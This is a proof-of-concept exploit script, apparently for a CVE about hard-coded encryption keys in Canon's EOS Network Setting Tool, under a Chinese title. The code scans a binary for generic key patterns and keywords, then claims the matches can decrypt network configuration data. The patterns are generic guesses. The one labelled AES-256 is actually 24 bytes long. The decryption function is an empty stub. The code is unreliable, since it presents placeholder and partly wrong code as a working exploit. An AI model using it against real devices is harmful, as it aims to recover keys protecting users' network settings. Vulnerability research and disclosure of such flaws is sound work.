CVE-2026-9260 佳能EOS网络设置工具硬编码加密密钥漏洞

# CVE-2026-9260 PoC - Hard-coded Key Extraction from Canon EOS Network Setting Tool # This PoC demonstrates extracting hard-coded cryptographic keys from the application import os import sys import struct def extract_hardcoded_keys(binary_path): """ Extract potential hard-coded cryptographic keys from Canon EOS Network Setting Tool binary """ print(f"[*] Analyzing: {binary_path}") # Common cryptographic key patterns to search for key_patterns = [ # AES keys (128-bit = 16 bytes, 256-bit = 32 bytes) (b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f', 'AES-128 Default Key'), (b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17', 'AES-256 Pattern'), # DES keys (b'\x00\x00\x00\x00\x00\x00\x00\x00', 'DES Zero Key'), # Common weak keys (b'password123456', 'Weak Password Key'), ] found_keys = [] try: with open(binary_path, 'rb') as f: data = f.read() # Search for common hardcoded key strings for pattern, description in key_patterns: offset = data.find(pattern) if offset != -1: print(f"[!] Found potential hard-coded key: {description}") print(f" Offset: 0x{offset:x}") print(f" Key bytes: {pattern.hex()}") found_keys.append({ 'description': description, 'offset': hex(offset), 'key': pattern.hex() }) # Search for string patterns commonly used in Canon applications keywords = [b'Canon', b'Encryption', b'Key', b'Network', b'EOS'] for keyword in keywords: offsets = [] start = 0 while True: pos = data.find(keyword, start) if pos == -1: break offsets.append(pos) start = pos + 1 if offsets: print(f"[*] Found '{keyword.decode()}' at {len(offsets)} locations") return found_keys except FileNotFoundError: print(f"[-] Error: File not found: {binary_path}") return [] except Exception as e: print(f"[-] Error: {str(e)}") return [] def decrypt_config(config_file, extracted_key): """ Decrypt Canon EOS Network Setting Tool configuration using extracted key """ print(f"[*] Attempting to decrypt configuration: {config_file}") print(f"[*] Using extracted key: {extracted_key}") print("[!] Note: Actual decryption requires knowledge of the encryption algorithm") # Implementation depends on specific encryption algorithm used if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python poc.py <path_to_EOSNetworkSettingTool.exe>") print("Example: python poc.py ./CanonEOSNetworkSettingTool.exe") sys.exit(1) binary_path = sys.argv[1] keys = extract_hardcoded_keys(binary_path) if keys: print(f"\n[+] Found {len(keys)} potential hard-coded keys") print("[+] These keys can be used to decrypt sensitive network configuration data") else: print("[-] No obvious hard-coded keys found. Manual analysis may be required.")